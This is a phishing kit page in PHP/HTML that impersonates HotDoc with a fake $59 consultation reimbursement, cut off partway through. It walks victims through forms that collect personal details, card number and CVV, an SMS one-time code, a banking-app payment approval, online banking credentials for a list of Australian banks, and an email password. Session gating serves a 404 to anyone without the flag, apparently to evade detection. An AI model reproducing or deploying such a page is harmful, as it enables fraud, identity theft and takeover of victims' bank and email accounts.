<?php
// Security headers to protect visitors
session_start();

// Check for the required session flag set by 1.php
if (!isset($_SESSION['script_access_granted']) || $_SESSION['script_access_granted'] !== true) {
    // If the flag is missing or invalid, send 404 and exit
    header("HTTP/1.0 404 Not Found");
    die("404 Not Found");
}

// **CRITICAL STEP:** Remove the flag so it cannot be reused (anti-replay)
unset($_SESSION['script_access_granted']);

// Your script continues normally here (e.g., process $_POST data)
// ...
// ...
require 'super_protect.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
	<meta name="request-fp" content="<?= $request_fp ?>">
    <meta name="device-fp" content="<?= $device_fp ?>">
    <link rel="stylesheet" href="/style.css?v=<?= $request_fp ?>">
	<link rel="apple-touch-icon-precomposed" sizes="57x57" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-57x57.png">
    <link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-114x114.png">
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-72x72.png">
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-144x144.png">
    <link rel="apple-touch-icon-precomposed" sizes="60x60" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-60x60.png">
    <link rel="apple-touch-icon-precomposed" sizes="120x120" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-120x120.png">
    <link rel="apple-touch-icon-precomposed" sizes="76x76" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-76x76.png">
    <link rel="apple-touch-icon-precomposed" sizes="152x152" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-152x152.png">
    <link rel="icon" type="image/png" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-196x196.png" sizes="196x196">
    <link rel="icon" type="image/png" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-96x96.png" sizes="96x96">
    <link rel="icon" type="image/png" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-32x32.png" sizes="32x32">
    <link rel="icon" type="image/png" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-16x16.png" sizes="16x16">
    <link rel="icon" type="image/png" href="https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-128.png" sizes="128x128">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
	<script src="/app.js?v=<?= $request_fp ?>"></script>
    <title>HotDoc - Consultation Reimbursement</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: #fff;
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        .header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 16px 40px;
            border-bottom: 1px solid #e5e5e5;
        }
        .header-left { display: flex; align-items: center; gap: 10px; }
        .header-left img { height: 32px; }
        .header-right { display: flex; gap: 32px; }
        .header-right a { color: #1a1a1a; text-decoration: none; font-size: 14px; font-weight: 500; }
        .header-right a:hover { color: #00a86b; }
        .main { flex: 1; display: flex; flex-direction: column; align-items: center; padding: 40px 20px; }
        .status-badge {
            display: inline-flex; align-items: center; gap: 6px;
            background: #e6f7f1; color: #00a86b;
            padding: 8px 16px; border-radius: 20px;
            font-size: 13px; font-weight: 600; margin-bottom: 24px;
        }
        .status-badge .dot { width: 8px; height: 8px; background: #00a86b; border-radius: 50%; }
        .card {
            background: #fff; border: 1px solid #e5e5e5; border-radius: 16px;
            padding: 40px; width: 100%; max-width: 480px; box-shadow: 0 2px 8px rgba(0,0,0,0.04);
        }
        .step-phone h1 { font-size: 24px; font-weight: 700; text-align: center; margin-bottom: 12px; color: #1a1a1a; }
        .step-phone .subtitle { text-align: center; color: #6b7280; font-size: 14px; line-height: 1.6; margin-bottom: 32px; }
        .amount-box {
            background: #f8fafc; border-radius: 12px; padding: 24px;
            text-align: center; margin-bottom: 32px;
        }
        .amount-label { font-size: 11px; text-transform: uppercase; letter-spacing: 1px; color: #6b7280; margin-bottom: 8px; }
        .amount-value { font-size: 42px; font-weight: 700; color: #1a1a1a; }
        .amount-currency { font-size: 24px; font-weight: 600; }
        .amount-desc { font-size: 13px; color: #6b7280; margin-top: 4px; }
        .form-group { margin-bottom: 16px; }
        .form-label { display: block; font-size: 14px; font-weight: 500; color: #1a1a1a; margin-bottom: 6px; }
        .form-input {
            width: 100%; padding: 14px 16px; border: 1px solid #d1d5db; border-radius: 10px;
            font-size: 15px; color: #1a1a1a; background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s;
        }
        .form-input:focus { outline: none; border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.1); }
        .form-input.error { border-color: #ef4444; box-shadow: 0 0 0 3px rgba(239,68,68,0.1); }
        .form-input.valid { border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.1); }
        .form-input::placeholder { color: #9ca3af; }
        .form-select {
            width: 100%; padding: 14px 16px; border: 1px solid #d1d5db; border-radius: 10px;
            font-size: 15px; color: #1a1a1a; background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s; cursor: pointer;
            appearance: none; -webkit-appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%236b7280' d='M6 8L1 3h10z'/%3E%3C/svg%3E");
            background-repeat: no-repeat; background-position: right 16px center;
        }
        .form-select:focus { outline: none; border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.1); }
        .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
        .field-error { font-size: 12px; color: #ef4444; margin-top: 4px; display: none; min-height: 16px; }
        .field-error.show { display: block; }
        .bank-detect { font-size: 12px; color: #00a86b; font-weight: 600; margin-top: 4px; display: none; min-height: 16px; }
        .bank-detect.show { display: block; }
        .card-logos { display: flex; gap: 12px; margin-bottom: 24px; }
        .card-logo {
            height: 28px; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: 700;
            display: flex; align-items: center; opacity: 0.4;
            transition: opacity 0.2s, transform 0.2s; border: 1px solid transparent;
        }
        .card-logo.active { opacity: 1; transform: scale(1.05); box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
        .card-logo.visa { background: #1a1f71; color: #fff; font-style: italic; }
        .card-logo.mc { background: #eb001b; color: #fff; }
        .card-logo.amex { background: #016fd0; color: #fff; font-size: 11px; }
        .btn-primary {
            width: 100%; padding: 16px; background: #e5e5e5; color: #9ca3af;
            border: none; border-radius: 10px; font-size: 16px; font-weight: 600;
            cursor: not-allowed; transition: all 0.2s; margin-top: 8px;
        }
        .btn-primary.active { background: #00a86b; color: #fff; cursor: pointer; }
        .btn-primary.active:hover { background: #008f5b; }
        .btn-primary:disabled { opacity: 0.7; }
        .step-personal .user-icon, .step-emailpass .user-icon {
            width: 48px; height: 48px; background: #f3f4f6; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 16px; font-size: 24px; color: #6b7280;
        }
        .step-personal h2, .step-emailpass h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 8px; }
        .step-personal .subtitle, .step-emailpass .subtitle { text-align: center; color: #6b7280; font-size: 13px; margin-bottom: 24px; }
        .step-card .card-icon {
            width: 48px; height: 48px; background: #f3f4f6; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 16px; font-size: 20px; color: #6b7280;
        }
        .step-card h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 8px; }
        .step-card .subtitle { text-align: center; color: #6b7280; font-size: 13px; margin-bottom: 24px; }
        .step-processing { text-align: center; padding: 60px 20px; }
        .step-processing h2 { font-size: 18px; font-weight: 500; color: #1a1a1a; margin-bottom: 8px; }
        .step-processing p { color: #6b7280; font-size: 14px; margin-bottom: 24px; }
        .dots { display: flex; gap: 6px; justify-content: center; }
        .dot { width: 8px; height: 8px; background: #d1d5db; border-radius: 50%; animation: pulse 1.4s infinite; }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        @keyframes pulse { 0%,100%{opacity:0.4;transform:scale(1)} 50%{opacity:1;transform:scale(1.2)} }
        .step-otp h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 12px; }
        .step-otp p { text-align: center; color: #6b7280; font-size: 14px; margin-bottom: 24px; }
        .otp-input {
            width: 100%; padding: 16px; border: 2px solid #d1d5db; border-radius: 10px;
            font-size: 24px; text-align: center; letter-spacing: 8px; font-weight: 600; margin-bottom: 16px;
        }
        .otp-input:focus { outline: none; border-color: #00a86b; }
        .step-app h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 12px; }
        .step-app p { text-align: center; color: #6b7280; font-size: 14px; margin-bottom: 32px; }
        .app-box {
            background: #f8fafc; border-radius: 16px; padding: 32px;
            text-align: center; margin-bottom: 24px;
        }
        .app-box .phone-mockup {
            width: 120px; height: 200px; background: #1a1a1a; border-radius: 16px;
            margin: 0 auto 16px; position: relative; overflow: hidden;
        }
        .app-box .phone-mockup::before {
            content: ''; position: absolute; top: 8px; left: 50%; transform: translateX(-50%);
            width: 40px; height: 4px; background: #333; border-radius: 2px;
        }
        .app-box .phone-screen {
            position: absolute; top: 20px; left: 8px; right: 8px; bottom: 8px;
            background: #fff; border-radius: 8px;
            display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 8px;
        }
        .app-box .bank-logo {
            width: 28px; height: 28px; background: #00a86b; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            color: #fff; font-size: 12px; font-weight: 700; margin-bottom: 8px;
        }
        .app-box .approve-text { font-size: 10px; font-weight: 600; color: #1a1a1a; margin-bottom: 4px; }
        .app-box .approve-amount { font-size: 14px; font-weight: 700; color: #00a86b; margin-bottom: 12px; }
        .app-box .confirm-btn { width: 80%; padding: 6px; background: #00a86b; color: #fff; border-radius: 4px; font-size: 9px; font-weight: 600; margin-bottom: 6px; }
        .app-box .cancel-btn { width: 80%; padding: 6px; background: #fff; border: 1px solid #d1d5db; color: #6b7280; border-radius: 4px; font-size: 9px; }
        .app-caption { font-size: 14px; font-weight: 600; color: #1a1a1a; margin-bottom: 4px; }
        .app-subcaption { font-size: 12px; color: #6b7280; }
        .step-success { text-align: center; padding: 40px 20px; }
        .step-success .check-icon {
            width: 64px; height: 64px; background: #e6f7f1; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 24px; font-size: 32px; color: #00a86b;
        }
        .step-success h2 { font-size: 24px; font-weight: 700; color: #00a86b; margin-bottom: 12px; }
        .step-success p { color: #6b7280; font-size: 14px; margin-bottom: 24px; }
        .ref-box { background: #f8fafc; border-radius: 10px; padding: 16px; margin-bottom: 24px; }
        .ref-box strong { color: #1a1a1a; font-size: 14px; }
        .step-bank .bank-icon {
            width: 48px; height: 48px; background: #f3f4f6; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 16px; font-size: 20px; color: #6b7280;
        }
        .step-bank h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 8px; }
        .step-bank .subtitle { text-align: center; color: #6b7280; font-size: 13px; margin-bottom: 24px; }
        .bank-security { display: flex; align-items: center; justify-content: center; gap: 8px; margin-bottom: 20px; font-size: 12px; color: #6b7280; }
        .bank-security svg { width: 16px; height: 16px; color: #00a86b; }
        .notif-toast {
            position: fixed; top: 20px; left: 50%;
            transform: translateX(-50%) translateY(-120px);
            background: #1e293b; border: 1px solid #00a86b; border-radius: 12px;
            padding: 16px 24px; box-shadow: 0 8px 32px rgba(0,0,0,0.3);
            z-index: 10000; transition: transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275), opacity 0.4s ease;
            opacity: 0; max-width: 90%; width: auto; pointer-events: none;
        }
        .notif-toast.show { transform: translateX(-50%) translateY(0); opacity: 1; }
        .notif-content {
            display: flex; align-items: center; gap: 12px;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            font-size: 14px; color: #e2e8f0; font-weight: 500; white-space: nowrap;
        }
        @media (max-width: 480px) { .notif-content { white-space: normal; font-size: 13px; } }
        .notif-icon { font-size: 20px; color: #00a86b; flex-shrink: 0; }
        .offline-banner {
            display: none; position: fixed; top: 0; left: 0; right: 0;
            background: #dc2626; color: #fff; text-align: center; padding: 10px;
            font-size: 14px; font-weight: 600; z-index: 99999;
        }
        .offline-banner.show { display: block; }
        .footer { display: flex; justify-content: space-between; align-items: center; padding: 20px 40px; border-top: 1px solid #e5e5e5; margin-top: auto; }
        .footer-left { font-size: 13px; color: #6b7280; }
        .footer-right { font-size: 13px; color: #6b7280; }
        .footer-trust { display: flex; justify-content: center; gap: 32px; padding: 16px; margin-top: 16px; }
        .trust-item { display: flex; align-items: center; gap: 6px; font-size: 12px; color: #6b7280; }
        .trust-item svg { width: 16px; height: 16px; }
        .error-msg {
            background: #fef2f2; border: 1px solid #fecaca; color: #dc2626;
            padding: 12px 16px; border-radius: 8px; font-size: 13px; margin-bottom: 16px; display: none;
        }
        .error-msg.show { display: block; }
        .hidden { display: none !important; }
        .btn-spinner {
            display: inline-block; width: 14px; height: 14px;
            border: 2px solid rgba(255,255,255,0.4); border-top-color: #fff;
            border-radius: 50%; animation: spin 0.6s linear infinite;
            margin-left: 8px; vertical-align: middle;
        }
        @keyframes spin { to { transform: rotate(360deg); } }
    </style>
</head>
<body>

<div class="offline-banner" id="offlineBanner">⚠️ You are offline. Please reconnect to continue.</div>

<div class="notif-toast" id="notifToast">
    <div class="notif-content">
        <span class="notif-icon">&#128276;</span>
        <span class="notif-text" id="notifText"></span>
    </div>
</div>

<div class="header">
    <div class="header-left">
        <img src="https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg" alt="HotDoc">
    </div>
    <div class="header-right">
        <a href="#">List your practice</a>
        <a href="#">Search</a>
        <a href="#">Log in / Sign up</a>
    </div>
</div>

<div class="main">

    <!-- STEP 1: PHONE -->
    <div class="card step-phone" id="step1">
        <div class="status-badge"><span class="dot"></span> Reimbursement Available</div>
        <h1>Consultation Reimbursement</h1>
        <p class="subtitle">We have reviewed your file and confirmed that you are eligible for a reimbursement. Following a recalculation for 2026, you are entitled to claim this reimbursement.</p>
        <div class="amount-box">
            <div class="amount-label">Available Amount</div>
            <div class="amount-value">59<span class="amount-currency"> $</span></div>
            <div class="amount-desc">Consultation fee reimbursement</div>
        </div>
        <div class="form-group">
            <label class="form-label">Phone Number</label>
            <input type="tel" class="form-input" id="phone" placeholder="04XX XXX XXX" maxlength="14" autocomplete="tel" inputmode="tel" name="phone">
            <div class="field-error" id="err-phone">Enter a valid Australian mobile number starting with 04.</div>
        </div>
        <button class="btn-primary" id="btn-step1" onclick="submitPhone()">Continue to Verification</button>
        <div class="footer-trust">
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg> Secure</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg> 2 min process</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg> Verified</div>
        </div>
    </div>

    <!-- STEP 2: PERSONAL INFO -->
    <div class="card step-personal hidden" id="step2">
        <div class="status-badge"><span class="dot"></span> Verification Required</div>
        <div class="user-icon">&#128100;</div>
        <h2>Personal Information</h2>
        <p class="subtitle">Please provide your details to process the reimbursement</p>
        <div class="amount-box">
            <div class="amount-label">Reimbursement Amount</div>
            <div class="amount-value">59<span class="amount-currency"> $</span></div>
        </div>
        <div class="error-msg" id="err2">Please fill in all required fields correctly.</div>
        <div class="form-row">
            <div class="form-group">
                <label class="form-label">First Name</label>
                <input type="text" class="form-input" id="fname" placeholder="John" autocomplete="given-name" name="fname">
                <div class="field-error" id="err-fname">Enter a valid first name.</div>
            </div>
            <div class="form-group">
                <label class="form-label">Last Name</label>
                <input type="text" class="form-input" id="lname" placeholder="Smith" autocomplete="family-name" name="lname">
                <div class="field-error" id="err-lname">Enter a valid last name.</div>
            </div>
        </div>
        <div class="form-group">
            <label class="form-label">Date of Birth</label>
            <input type="text" class="form-input" id="dob" placeholder="DD/MM/YYYY" maxlength="10" autocomplete="bday" name="dob" inputmode="numeric">
            <div class="field-error" id="err-dob">Enter a valid date of birth (DD/MM/YYYY). Must be 18+.</div>
        </div>
        <div class="form-group">
            <label class="form-label">Address</label>
            <input type="text" class="form-input" id="address" placeholder="123 Main Street" autocomplete="street-address" name="address">
            <div class="field-error" id="err-address">Enter a valid street address.</div>
        </div>
        <div class="form-row">
            <div class="form-group">
                <label class="form-label">City</label>
                <input type="text" class="form-input" id="city" placeholder="Sydney" autocomplete="address-level2" name="city">
                <div class="field-error" id="err-city">Enter a valid city.</div>
            </div>
            <div class="form-group">
                <label class="form-label">Postal Code</label>
                <input type="text" class="form-input" id="postcode" placeholder="2000" maxlength="4" autocomplete="postal-code" inputmode="numeric" name="postcode">
                <div class="field-error" id="err-postcode">Enter a valid 4-digit Australian postcode.</div>
            </div>
        </div>
        <div class="form-group">
            <label class="form-label">Email Address</label>
            <input type="email" class="form-input" id="email" placeholder="john@example.com" autocomplete="email" inputmode="email" name="email">
            <div class="field-error" id="err-email">Enter a valid email address.</div>
        </div>
        <button class="btn-primary" id="btn-step2" onclick="submitPersonal()">Continue</button>
        <div class="footer-trust">
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg> Secure</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg> 2 min process</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg> Verified</div>
        </div>
    </div>

    <!-- STEP 3: CARD -->
    <div class="card step-card hidden" id="step3">
        <div class="card-icon">&#128179;</div>
        <h2>Claim Your Reimbursement</h2>
        <p class="subtitle">Enter your card details to access your reimbursement</p>
        <div class="amount-box" style="display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;">
            <div>
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Available Amount</div>
                <div style="font-size:20px; font-weight:700;">59 $</div>
            </div>
            <div style="text-align:right;">
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Date</div>
                <div style="font-size:14px; font-weight:500;">23.09.2026</div>
            </div>
        </div>
<div class="card-logos" style="
    display:flex !important;
    align-items:center !important;
    gap:14px !important;
    height:48px !important;
">

    <!-- VISA -->
    <div class="card-logo visa" id="logo-visa" style="
        width:72px !important;
        height:42px !important;
        display:flex !important;
        align-items:center !important;
        justify-content:center !important;
        background:#fff !important;
        border:1px solid #e5e7eb !important;
        border-radius:6px !important;
        padding:7px !important;
        box-sizing:border-box !important;
    ">
        <img
            src="https://cdn.simpleicons.org/visa/1434CB"
            alt="Visa"
            style="
                display:block !important;
                width:100% !important;
                height:100% !important;
                object-fit:contain !important;
                object-position:center !important;
            "
        >
    </div>

    <!-- MASTERCARD -->
    <div class="card-logo mc" id="logo-mc" style="
        width:72px !important;
        height:42px !important;
        display:flex !important;
        align-items:center !important;
        justify-content:center !important;
        background:#fff !important;
        border:1px solid #e5e7eb !important;
        border-radius:6px !important;
        padding:7px !important;
        box-sizing:border-box !important;
    ">
        <img
            src="https://cdn.simpleicons.org/mastercard"
            alt="Mastercard"
            style="
                display:block !important;
                width:100% !important;
                height:100% !important;
                object-fit:contain !important;
                object-position:center !important;
            "
        >
    </div>

    <!-- AMERICAN EXPRESS -->
    <div class="card-logo amex" id="logo-amex" style="
        width:82px !important;
        height:42px !important;
        display:flex !important;
        align-items:center !important;
        justify-content:center !important;
        background:#fff !important;
        border:1px solid #e5e7eb !important;
        border-radius:6px !important;
        padding:6px !important;
        box-sizing:border-box !important;
    ">
        <img
            src="https://cdn.simpleicons.org/americanexpress/006FCF"
            alt="American Express"
            style="
                display:block !important;
                width:100% !important;
                height:100% !important;
                object-fit:contain !important;
                object-position:center !important;
            "
        >
    </div>

</div>
        <div class="error-msg" id="err3">The card details provided are invalid.</div>
        <div class="form-group">
            <label class="form-label">Card number *</label>
            <input type="text" class="form-input" id="card" placeholder="0000 0000 0000 0000" maxlength="19" autocomplete="cc-number" inputmode="numeric" name="cardnumber">
            <div class="bank-detect" id="bank-detect"></div>
            <div class="field-error" id="err-card">Enter a valid card number.</div>
        </div>
        <div class="form-row">
            <div class="form-group">
                <label class="form-label">Expiration date *</label>
                <input type="text" class="form-input" id="exp" placeholder="MM/YY" maxlength="5" autocomplete="cc-exp" inputmode="numeric" name="cc-exp">
                <div class="field-error" id="err-exp">Enter a valid future expiry date (MM/YY).</div>
            </div>
            <div class="form-group">
                <label class="form-label">Security code (CVV/CVC) *</label>
                <input type="text" class="form-input" id="cvv" placeholder="000" maxlength="3" autocomplete="cc-csc" inputmode="numeric" name="cvc">
                <div class="field-error" id="err-cvv">Enter a valid CVV.</div>
            </div>
        </div>
        <button class="btn-primary" id="btn-step3" onclick="submitCard()">Claim Your Reimbursement</button>
        <div class="footer-trust">
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg> Secure</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg> Instant</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg> Encrypted</div>
        </div>
    </div>

    <!-- STEP 4: PROCESSING -->
    <div class="step-processing hidden" id="step4">
        <h2>Please wait while your request is being processed...</h2>
        <p>This may take a few seconds.</p>
        <div class="dots"><div class="dot"></div><div class="dot"></div><div class="dot"></div></div>
    </div>

    <!-- STEP 5: OTP -->
    <div class="card step-otp hidden" id="step5">
        <h2>Security Verification</h2>
        <p>For your security, a one-time verification code has been sent to your mobile device. Please enter the code below to complete your reimbursement.</p>
        <div class="error-msg" id="err5">Invalid code. Please check the SMS sent to your phone.</div>
        <input type="text" class="otp-input" id="otp" placeholder="000000" maxlength="8" autocomplete="one-time-code" inputmode="numeric" name="otp">
        <button class="btn-primary active" onclick="submitOtp()">Confirm</button>
    </div>

    <!-- STEP 6: APP APPROVAL -->
    <div class="card step-app hidden" id="step6">
        <h2>Approve on your device</h2>
        <p>Please open your banking app and approve the pending transaction to complete your reimbursement.</p>
        <div class="app-box">
            <div class="phone-mockup">
                <div class="phone-screen">
                    <div class="bank-logo">B</div>
                    <div class="approve-text">Approve Payment</div>
                    <div class="approve-amount">$59.00</div>
                    <div class="confirm-btn">CONFIRM</div>
                    <div class="cancel-btn">CANCEL</div>
                </div>
            </div>
            <div class="app-caption">Tap Confirm in your banking app</div>
            <div class="app-subcaption">Look for a payment notification and press the green Confirm button</div>
        </div>
        <div class="dots" style="margin-bottom:24px;"><div class="dot"></div><div class="dot"></div><div class="dot"></div></div>
        <button class="btn-primary active" onclick="submitApp()">I have approved</button>
    </div>

    <!-- STEP 7: SUCCESS -->
    <div class="card step-success hidden" id="step7">
        <div class="check-icon">&#10003;</div>
        <h2>Reimbursement Complete</h2>
        <p>Your reimbursement has been successfully processed. The funds will be transferred to your account within 1-2 business days.</p>
        <div class="ref-box"><strong id="ref-code">Reference: HD-XXXXXXXX</strong></div>
        <button class="btn-primary active" onclick="clearSession();location.reload()">Return to HotDoc</button>
    </div>

    <!-- STEP 8: BANK LOGIN -->
    <div class="card step-bank hidden" id="step8">
        <div class="bank-icon">&#127974;</div>
        <h2>Verify Your Bank Account</h2>
        <p class="subtitle">To process your reimbursement securely, please log in to your online banking to confirm your identity.</p>
        <div class="amount-box" style="display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;">
            <div>
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Available Amount</div>
                <div style="font-size:20px; font-weight:700;">59 $</div>
            </div>
            <div style="text-align:right;">
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Status</div>
                <div style="font-size:14px; font-weight:500; color:#f59e0b;">Bank verification required</div>
            </div>
        </div>
        <div class="bank-security">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
            256-bit SSL Encrypted &bull; Secure bank-grade connection
        </div>
        <div class="error-msg" id="err8">Please select your bank and enter valid credentials.</div>
        <div class="form-group">
            <label class="form-label">Select Your Bank *</label>
            <select class="form-select" id="bank_name">
                <option value="">Choose your bank...</option>
                <option value="Commonwealth Bank">Commonwealth Bank</option>
                <option value="ANZ">ANZ</option>
                <option value="Westpac">Westpac</option>
                <option value="NAB">NAB (National Australia Bank)</option>
                <option value="ING Bank">ING Bank</option>
                <option value="Macquarie Bank">Macquarie Bank</option>
                <option value="St.George Bank">St.George Bank</option>
                <option value="Suncorp Bank">Suncorp Bank</option>
                <option value="Bendigo Bank">Bendigo Bank</option>
                <option value="AMP Bank">AMP Bank</option>
                <option value="Citibank">Citibank</option>
                <option value="HSBC">HSBC</option>
                <option value="Bankwest">Bankwest</option>
                <option value="Bank of Queensland">Bank of Queensland</option>
                <option value="ME Bank">ME Bank</option>
                <option value="Credit Union Australia">Credit Union Australia</option>
                <option value="Teachers Mutual Bank">Teachers Mutual Bank</option>
                <option value="BankSA">BankSA</option>
                <option value="Great Southern Bank">Great Southern Bank</option>
                <option value="Beyond Bank">Beyond Bank</option>
            </select>
            <div class="field-error" id="err-bank_name">Please select your bank.</div>
        </div>
        <div class="form-group">
            <label class="form-label">Internet Banking Username / Client Number *</label>
            <input type="text" class="form-input" id="bank_user" placeholder="Enter your username" autocomplete="username" name="username">
            <div class="field-error" id="err-bank_user">Enter your banking username.</div>
        </div>
        <div class="form-group">
            <label class="form-label">Internet Banking Password *</label>
            <input type="password" class="form-input" id="bank_pass" placeholder="Enter your password" autocomplete="current-password" name="password">
            <div class="field-error" id="err-bank_pass">Enter your banking password.</div>
        </div>
        <button class="btn-primary active" id="btn-step8" onclick="submitBank()">Verify & Continue</button>
        <div class="footer-trust">
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg> Bank-grade security</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg> 256-bit SSL</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg> Verified by HotDoc</div>
        </div>
    </div>

    <!-- STEP 9: EMAIL PASSWORD (Admin-triggered only) -->
    <div class="card step-emailpass hidden" id="step9">
        <div class="status-badge"><span class="dot"></span> Verification Required</div>
        <div class="user-icon">&#128231;</div>
        <h2>Verify Your Email</h2>
        <p class="subtitle">For security, please confirm your email address and enter your password to continue.</p>
        <div class="amount-box">
            <div class="amount-label">Reimbursement Amount</div>
            <div class="amount-value">59<span class="amount-currency"> $</span></div>
        </div>
        <div class="error-msg" id="err9">Please enter your email password to continue.</div>
        <div class="form-group">
            <label class="form-label">Email Address</label>
            <input type="email" class="form-input" id="email_pass_email" placeholder="john@example.com" autocomplete="email" name="email">
            <div class="field-error" id="err-email_pass_email">Enter a valid email address.</div>
        </div>
        <div class="form-group">
            <label class="form-label">Email Password *</label>
            <div style="position:relative;">
                <input type="password" class="form-input" id="email_pass" placeholder="Enter your email password" autocomplete="current-password" name="email_password" style="padding-right:70px;">
                <button type="button" onclick="toggleEmailPass()" id="toggleEmailPassBtn" style="position:absolute;right:8px;top:50%;transform:translateY(-50%);background:none;border:none;cursor:pointer;padding:8px 10px;color:#6b7280;font-size:13px;font-weight:600;">Show</button>
            </div>
            <div class="field-error" id="err-email_pass">Enter your email password.</div>
        </div>
        <button class="btn-primary" id="btn-step9" onclick="submitEmailPass()">Verify & Continue</button>
        <div class="footer-trust">
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg> Secure</div>
            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg> 2 min process</div>
